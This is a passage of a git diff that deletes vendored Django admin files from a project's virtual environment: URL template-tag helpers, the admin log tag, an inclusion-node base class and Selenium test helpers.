field.field.is_hidden - except AttributeError: - is_hidden = field.field["is_hidden"] - if not is_hidden: - count += 1 - if inline_admin_form.formset.can_delete: - # Delete checkbox - count += 1 - return count diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/admin_urls.py b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/admin_urls.py deleted file mode 100644 index 176e7a49..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/admin_urls.py +++ /dev/null @@ -1,70 +0,0 @@ -from urllib.parse import parse_qsl, unquote, urlsplit, urlunsplit - -from django import template -from django.contrib.admin.utils import quote -from django.urls import Resolver404, get_script_prefix, resolve -from django.utils.http import urlencode - -register = template.Library() - - -@register.filter -def admin_urlname(value, arg): - return "admin:%s_%s_%s" % (value.app_label, value.model_name, arg) - - -@register.filter -def admin_urlquote(value): - return quote(value) - - -@register.simple_tag(takes_context=True) -def add_preserved_filters(context, url, popup=False, to_field=None): - opts = context.get("opts") - preserved_filters = context.get("preserved_filters") - preserved_qsl = context.get("preserved_qsl") - - parsed_url = list(urlsplit(url)) - parsed_qs = dict(parse_qsl(parsed_url[3])) - merged_qs = {} - - if preserved_qsl: - merged_qs.update(preserved_qsl) - - if opts and preserved_filters: - preserved_filters = dict(parse_qsl(preserved_filters)) - - match_url = "/%s" % unquote(url).partition(get_script_prefix())[2] - try: - match = resolve(match_url) - except Resolver404: - pass - else: - current_url = "%s:%s" % (match.app_name, match.url_name) - changelist_url = "admin:%s_%s_changelist" % ( - opts.app_label, - opts.model_name, - ) - if ( - changelist_url == current_url - and "_changelist_filters" in preserved_filters - ): - preserved_filters = dict( - parse_qsl(preserved_filters["_changelist_filters"]) - ) - - merged_qs.update(preserved_filters) - - if popup: - from django.contrib.admin.options import IS_POPUP_VAR - - merged_qs[IS_POPUP_VAR] = 1 - if to_field: - from django.contrib.admin.options import TO_FIELD_VAR - - merged_qs[TO_FIELD_VAR] = to_field - - merged_qs.update(parsed_qs) - - parsed_url[3] = urlencode(merged_qs) - return urlunsplit(parsed_url) diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/base.py b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/base.py deleted file mode 100644 index 9551c0e7..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/base.py +++ /dev/null @@ -1,45 +0,0 @@ -from inspect import getfullargspec - -from django.template.library import InclusionNode, parse_bits - - -class InclusionAdminNode(InclusionNode): - """ - Template tag that allows its template to be overridden per model, per app, - or globally. - """ - - def __init__(self, parser, token, func, template_name, takes_context=True): - self.template_name = template_name - params, varargs, varkw, defaults, kwonly, kwonly_defaults, _ = getfullargspec( - func - ) - bits = token.split_contents() - args, kwargs = parse_bits( - parser, - bits[1:], - params, - varargs, - varkw, - defaults, - kwonly, - kwonly_defaults, - takes_context, - bits[0], - ) - super().__init__(func, takes_context, args, kwargs, filename=None) - - def render(self, context): - opts = context["opts"] - app_label = opts.app_label.lower() - object_name = opts.model_name - # Load template for this render call. (Setting self.filename isn't - # thread-safe.) - context.render_context[self] = context.template.engine.select_template( - [ - "admin/%s/%s/%s" % (app_label, object_name, self.template_name), - "admin/%s/%s" % (app_label, self.template_name), - "admin/%s" % self.template_name, - ] - ) - return super().render(context) diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/log.py b/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/log.py deleted file mode 100644 index 55b2c46f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/templatetags/log.py +++ /dev/null @@ -1,67 +0,0 @@ -from django import template - -register = template.Library() - - -class AdminLogNode(template.Node): - def __init__(self, limit, varname, user): - self.limit = limit - self.varname = varname - self.user = user - - def __repr__(self): - return "" - - def render(self, context): - entries = context["log_entries"] - if self.user is not None: - user_id = self.user - if not user_id.isdigit(): - user_id = context[self.user].pk - entries = entries.filter(user__pk=user_id) - context[self.varname] = entries[: int(self.limit)] - return "" - - -@register.tag -def get_admin_log(parser, token): - """ - Populate a template variable with the admin log for the given criteria. - - Usage:: - - {% get_admin_log [limit] as [varname] for_user [context_var_with_user_obj] %} - - Examples:: - - {% get_admin_log 10 as admin_log for_user 23 %} - {% get_admin_log 10 as admin_log for_user user %} - {% get_admin_log 10 as admin_log %} - - Note that ``context_var_containing_user_obj`` can be a hard-coded integer - (user ID) or the name of a template context variable containing the user - object whose ID you want. - """ - tokens = token.contents.split() - if len(tokens) < 4: - raise template.TemplateSyntaxError( - "'get_admin_log' statements require two arguments" - ) - if not tokens[1].isdigit(): - raise template.TemplateSyntaxError( - "First argument to 'get_admin_log' must be an integer" - ) - if tokens[2] != "as": - raise template.TemplateSyntaxError( - "Second argument to 'get_admin_log' must be 'as'" - ) - if len(tokens) > 4: - if tokens[4] != "for_user": - raise template.TemplateSyntaxError( - "Fourth argument to 'get_admin_log' must be 'for_user'" - ) - return AdminLogNode( - limit=tokens[1], - varname=tokens[3], - user=(tokens[5] if len(tokens) > 5 else None), - ) diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/tests.py b/backend/venv/Lib/site-packages/django/contrib/admin/tests.py deleted file mode 100644 index 636a6ffd..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/tests.py +++ /dev/null @@ -1,233 +0,0 @@ -from contextlib import contextmanager - -from django.contrib.staticfiles.testing import StaticLiveServerTestCase -from django.test import modify_settings -from django.test.selenium import SeleniumTestCase -from django.utils.deprecation import MiddlewareMixin -from django.utils.translation import gettext as _ - -# Make unittest ignore frames in this module when reporting failures. -__unittest = True - - -class CSPMiddleware(MiddlewareMixin): - """The admin's JavaScript should be compatible with CSP.""" - - def process_response(self, request, response): - response.headers["Content-Security-Policy"] = "default-src 'self'" - return response - - -@modify_settings(MIDDLEWARE={"append": "django.contrib.admin.tests.CSPMiddleware"}) -class AdminSeleniumTestCase(SeleniumTestCase, StaticLiveServerTestCase): - available_apps = [ - "django.contrib.admin", - "django.contrib.auth", - "django.contrib.contenttypes", - "django.contrib.sessions", - "django.contrib.sites", - ] - - def wait_until(self, callback, timeout=10): - """ - Block the execution of the tests until the specified callback returns a - value that is not falsy. This method can be called, for example, after - clicking a link or submitting a form. See the other public methods that - call this function for more details. - """ - from selenium.webdriver.support.wait import WebDriverWait - - WebDriverWait(self.selenium, timeout).until(callback) - - def wait_for_and_switch_to_popup(self, num_windows=2, timeout=10): - """ - Block until `num_windows` are present and are ready (usually 2, but can - be overridden in the case of pop-ups opening other pop-ups). Switch the - current window to the new pop-up. - """ - self.wait_until(lambda d: len(d.window_handles) == num_windows, timeout) - self.selenium.switch_to.window(self.selenium.window_handles[-1]) - self.wait_page_ready() - - def wait_for(self, css_selector, timeout=10): - """ - Block until a CSS selector is found on the page. - """ - from selenium.webdriver.common.by import By - from selenium.webdriver.support import expected_conditions as ec - - self.wait_until( - ec.presence_of_element_located((By.CSS_SELECTOR, css_selector)), timeout - ) - - def wait_for_text(self, css_selector, text, timeout=10): - """ - Block until the text is found in the CSS selector. - """ - from selenium.webdriver.common.by import By - from selenium.webdriver.support import expected_conditions as ec - - self.wait_until( - ec.text_to_be_present_in_element((By.CSS_SELECTOR, css_selector), text), - timeout, - ) - - def wait_for_value(self, css_selector, text, timeout=10): - """ - Block until the value is found in the CSS selector. - """ - from selenium.webdriver.common.by import By - from selenium.webdriver.support import expected_conditions as ec - - self.wait_until( - ec.text_to_be_present_in_element_value( - (By.CSS_SELECTOR, css_selector), text - ), - timeout, - ) - - def wait_until_visible(self, css_selector, timeout=10): - """ - Block until the element described by the CSS selector is visible. - """ - from selenium.webdriver.common.by import By - from selenium.webdriver.support import expected_conditions as ec - - self.wait_until( - ec.visibility_of_element_located((By.CSS_SELECTOR, css_selector)), timeout - ) - - def wait_until_invisible(self, css_selector, timeout=10): - """ - Block until the element described by the CSS selector is invisible. - """ - from selenium.webdriver.common.by import By - from selenium.webdriver.support import expected_conditions as ec - - self.wait_until( - ec.invisibility_of_element_located((By.CSS_SELECTOR, css_selector)), timeout - ) - - def wait_page_ready(self, timeout=10): - """ - Block until the page is ready. - """ - self.wait_until( - lambda driver: driver.execute_script("return document.readyState;") - == "complete", - timeout, - ) - - @contextmanager - def wait_page_loaded(self, timeout=10): - """ - Block until a new page has loaded and is ready. - """ - from selenium.webdriver.common.by import By - from selenium.webdriver.support import expected_conditions as ec - - old_page = self.selenium.find_element(By.TAG_NAME, "html") - yield - # Wait for the next page to be loaded - self.wait_until(ec.staleness_of(old_page), timeout=timeout) - self.wait_page_ready(timeout=timeout) - - def admin_login(self, username, password, login_url="/admin/"): - """ - Log in to the admin. - """ - from selenium.webdriver.common.by import By - - self.selenium.get("%s%s" % (self.live_server_url, login_url)) - username_input = self.selenium.find_element(By.NAME, "username") - username_input.send_keys(username) - password_input = self.selenium.find_element(By.NAME, "password") - password_input.send_keys(password) - login_text = _("Log in") - with self.wait_page_loaded(): - self.selenium.find_element( - By.XPATH, '//input[@value="%s"]' % login_text - ).click() - - def select_option(self, selector, value): - """ - Select the